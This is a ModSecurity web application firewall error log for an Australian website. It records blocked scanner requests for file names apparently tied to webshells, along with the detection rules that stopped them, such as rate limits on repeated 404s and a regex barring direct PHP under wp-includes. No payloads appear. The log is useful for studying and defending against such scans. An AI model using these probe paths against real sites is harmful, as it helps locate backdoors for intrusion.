[Sat Feb 28 20:52:36.802017 2026] [:error] [pid 39292:tid 39318] [client 20.104.124.39:50005] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaLlFKIAO5fN7BxyqcFzOQAAANg"]
[Sat Feb 28 20:52:38.599072 2026] [:error] [pid 39184:tid 39236] [client 20.104.124.39:50177] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aaLlFltZF9Zd_U7easC1vQAAAFE"]
[Sat Feb 28 20:52:40.544152 2026] [:error] [pid 39183:tid 39215] [client 20.104.124.39:50244] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaLlGBCf4HvhVePw3LYrBwAAABc"]
[Sat Feb 28 20:52:43.592570 2026] [:error] [pid 39184:tid 39243] [client 20.104.124.39:50266] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaLlG1tZF9Zd_U7easC1ywAAAFg"]
[Sat Feb 28 20:52:44.257556 2026] [:error] [pid 39292:tid 39296] [client 20.104.124.39:50137] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaLlHKIAO5fN7BxyqcFzQAAAAMI"]
[Sat Feb 28 20:52:44.800793 2026] [:error] [pid 39184:tid 39222] [client 20.104.124.39:50228] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aaLlHFtZF9Zd_U7easC10AAAAEM"]
[Sat Feb 28 20:52:45.628085 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50083] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaLlHVtZF9Zd_U7easC10wAAAEU"]
[Sat Feb 28 20:52:46.849434 2026] [:error] [pid 49763:tid 49773] [client 20.104.124.39:50235] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaLlHrTHSOG_yf2PpqFHEQAAAcc"]
[Sat Feb 28 20:52:48.563079 2026] [:error] [pid 39292:tid 39304] [client 20.104.124.39:50163] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaLlIKIAO5fN7BxyqcFzRwAAAMo"]
[Sat Feb 28 20:52:49.849418 2026] [:error] [pid 49763:tid 49772] [client 20.104.124.39:50176] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aaLlIbTHSOG_yf2PpqFHGAAAAcY"]
[Sat Feb 28 20:52:50.349676 2026] [:error] [pid 49763:tid 49778] [client 20.104.124.39:50189] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaLlIrTHSOG_yf2PpqFHGgAAAcw"]
[Sat Feb 28 20:52:51.592572 2026] [:error] [pid 39184:tid 39229] [client 20.104.124.39:50154] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aaLlI1tZF9Zd_U7easC14wAAAEo"]
[Sat Feb 28 20:52:58.477405 2026] [:error] [pid 39184:tid 39242] [client 20.104.124.39:50293] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaLlKltZF9Zd_U7easC19AAAAFc"]
[Sat Feb 28 20:52:59.651883 2026] [:error] [pid 49763:tid 49780] [client 20.104.124.39:50255] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaLlK7THSOG_yf2PpqFHOQAAAc4"]
[Sat Feb 28 20:53:01.670441 2026] [:error] [pid 39292:tid 39295] [client 20.104.124.39:50185] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaLlLaIAO5fN7BxyqcFzWgAAAME"]
[Sat Feb 28 20:53:03.335052 2026] [:error] [pid 39183:tid 39207] [client 20.104.124.39:50197] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vx.php"] [unique_id "aaLlLxCf4HvhVePw3LYrVQAAAA8"]
[Sat Feb 28 20:53:05.260555 2026] [:error] [pid 49763:tid 49771] [client 20.104.124.39:50251] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaLlMbTHSOG_yf2PpqFHSAAAAcU"]
[Sat Feb 28 20:53:07.147018 2026] [:error] [pid 49763:tid 49766] [client 20.104.124.39:50133] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaLlM7THSOG_yf2PpqFHTAAAAcA"]
[Sat Feb 28 20:53:09.086979 2026] [:error] [pid 39292:tid 39310] [client 20.104.124.39:50252] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaLlNaIAO5fN7BxyqcFzXQAAANA"]
[Sat Feb 28 20:53:10.898557 2026] [:error] [pid 39183:tid 39194] [client 20.104.124.39:50139] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/rh.php"] [unique_id "aaLlNhCf4HvhVePw3LYrhwAAAAI"]
[Sat Feb 28 21:14:04.210232 2026] [:error] [pid 39183:tid 39200] [client 13.71.191.191:22401] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLqHBCf4HvhVePw3LZAaQAAAAg"]
[Sat Feb 28 21:14:04.628141 2026] [:error] [pid 49763:tid 49787] [client 13.71.191.191:22486] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLqHLTHSOG_yf2PpqFh7wAAAdU"]
[Sat Feb 28 21:14:05.049490 2026] [:error] [pid 49763:tid 49782] [client 13.71.191.191:22412] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLqHbTHSOG_yf2PpqFh9QAAAdA"]
[Sat Feb 28 21:14:05.482802 2026] [:error] [pid 49763:tid 49773] [client 13.71.191.191:22520] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaLqHbTHSOG_yf2PpqFh_AAAAcc"]
[Sat Feb 28 21:46:24.097847 2026] [:error] [pid 39292:tid 39309] [client 43.153.204.189:35446] [client 43.153.204.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aaLxsKIAO5fN7BxyqcGHgQAAAM8"]
[Sat Feb 28 22:16:26.046380 2026] [:error] [pid 39183:tid 39198] [client 20.151.205.221:42249] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaL4uhCf4HvhVePw3LaBFwAAAAY"]
[Sat Feb 28 22:16:26.878048 2026] [:error] [pid 49763:tid 49772] [client 20.151.205.221:42247] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaL4urTHSOG_yf2PpqG73gAAAcY"]
[Sat Feb 28 22:16:27.713785 2026] [:error] [pid 39183:tid 39205] [client 20.151.205.221:42458] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaL4uxCf4HvhVePw3LaBIAAAAA0"]
[Sat Feb 28 22:16:28.558915 2026] [:error] [pid 39183:tid 39201] [client 20.151.205.221:42486] [client 20.151.205.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaL4vBCf4HvhVePw3LaBJAAAAAk"]
[Sat Feb 28 22:45:14.369621 2026] [:error] [pid 49763:tid 49778] [client 43.155.195.141:60540] [client 43.155.195.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaL_erTHSOG_yf2PpqHjjQAAAcw"]
[Sat Feb 28 23:20:37.174958 2026] [:error] [pid 49763:tid 49776] [client 20.220.13.5:28652] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "aaMHxbTHSOG_yf2PpqEF4gAAAco"]
[Sat Feb 28 23:20:38.957292 2026] [:error] [pid 49763:tid 49774] [client 20.220.13.5:28671] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "aaMHxrTHSOG_yf2PpqEGDQAAAcg"]
[Sat Feb 28 23:20:39.812884 2026] [:error] [pid 49763:tid 49784] [client 20.220.13.5:28297] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "aaMHx7THSOG_yf2PpqEGGwAAAdI"]
[Sat Feb 28 23:20:40.651735 2026] [:error] [pid 49763:tid 49789] [client 20.220.13.5:28626] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "aaMHyLTHSOG_yf2PpqEGKQAAAdc"]
[Sat Feb 28 23:20:41.510350 2026] [:error] [pid 39292:tid 39318] [client 20.220.13.5:28620] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin.php"] [unique_id "aaMHyaIAO5fN7BxyqcGnjQAAANg"]
[Sat Feb 28 23:22:22.410757 2026] [:error] [pid 49763:tid 49779] [client 40.85.218.222:7250] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMILrTHSOG_yf2PpqEIlQAAAc0"]
[Sat Feb 28 23:22:23.244205 2026] [:error] [pid 39183:tid 39193] [client 40.85.218.222:48093] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMILxCf4HvhVePw3LbfBAAAAAE"]
[Sat Feb 28 23:22:24.082358 2026] [:error] [pid 39183:tid 39211] [client 40.85.218.222:7258] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMIMBCf4HvhVePw3LbfEAAAABM"]
[Sat Feb 28 23:22:24.946474 2026] [:error] [pid 39183:tid 39215] [client 40.85.218.222:46332] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aaMIMBCf4HvhVePw3LbfGwAAABc"]
[Sat Feb 28 23:38:23.416403 2026] [:error] [pid 52460:tid 52480] [client 20.63.83.113:14247] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aaML77LWOogAgHGh62TvywAAAZE"]
[Sat Feb 28 23:38:23.845719 2026] [:error] [pid 39184:tid 39235] [client 20.63.83.113:57575] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aaML71tZF9Zd_U7easAHfAAAAFA"]
[Sat Feb 28 23:38:24.266112 2026] [:error] [pid 39183:tid 39199] [client 20.63.83.113:14218] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aaML8BCf4HvhVePw3Lb03QAAAAc"]
[Sat Feb 28 23:38:24.681919 2026] [:error] [pid 39183:tid 39210] [client 20.63.83.113:35891] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aaML8BCf4HvhVePw3Lb04gAAABI"]
[Sat Feb 28 23:38:25.101719 2026] [:error] [pid 39183:tid 39216] [client 20.63.83.113:14223] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynz.PhP7"] [unique_id "aaML8RCf4HvhVePw3Lb05gAAABg"]
[Sat Feb 28 23:38:25.533567 2026] [:error] [pid 39183:tid 39212] [client 20.63.83.113:63858] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynz.PhP7"] [unique_id "aaML8RCf4HvhVePw3Lb08AAAABQ"]
[Sat Feb 28 23:38:25.953590 2026] [:error] [pid 39184:tid 39225] [client 20.63.83.113:10044] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynz.PhP7"] [unique_id "aaML8VtZF9Zd_U7easAHfwAAAEY"]
[Sat Feb 28 23:38:26.388559 2026] [:error] [pid 49763:tid 49788] [client 20.63.83.113:35874] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ynz.PhP7"] [unique_id "aaML8rTHSOG_yf2PpqEYlwAAAdY"]
[Sat Feb 28 23:38:26.805194 2026] [:error] [pid 39292:tid 39317] [client 20.63.83.113:14211] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaML8qIAO5fN7BxyqcGtQQAAANc"]
[Sat Feb 28 23:38:27.221925 2026] [:error] [pid 39292:tid 39314] [client 20.63.83.113:19065] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaML86IAO5fN7BxyqcGtRQAAANQ"]
[Sat Feb 28 23:38:27.632881 2026] [:error] [pid 39184:tid 39222] [client 20.63.83.113:63850] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaML81tZF9Zd_U7easAHgwAAAEM"]
[Sat Feb 28 23:38:28.060479 2026] [:error] [pid 39184:tid 39241] [client 20.63.83.113:35869] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/byp.php"] [unique_id "aaML9FtZF9Zd_U7easAHhgAAAFY"]
[Sat Feb 28 23:38:28.490560 2026] [:error] [pid 52460:tid 52482] [client 20.63.83.113:63835] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packed.php"] [unique_id "aaML9LLWOogAgHGh62Tv1wAAAZM"]
[Sat Feb 28 23:38:28.918535 2026] [:error] [pid 39183:tid 39206] [client 20.63.83.113:63811] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packed.php"] [unique_id "aaML9BCf4HvhVePw3Lb1AQAAAA4"]
[Sat Feb 28 23:38:29.335607 2026] [:error] [pid 39184:tid 39240] [client 20.63.83.113:14253] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packed.php"] [unique_id "aaML9VtZF9Zd_U7easAHjwAAAFU"]
[Sat Feb 28 23:38:29.744154 2026] [:error] [pid 52460:tid 52481] [client 20.63.83.113:57599] [client 20.63.83.113] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packed.php"] [unique_id "aaML9bLWOogAgHGh62Tv3wAAAZI"]
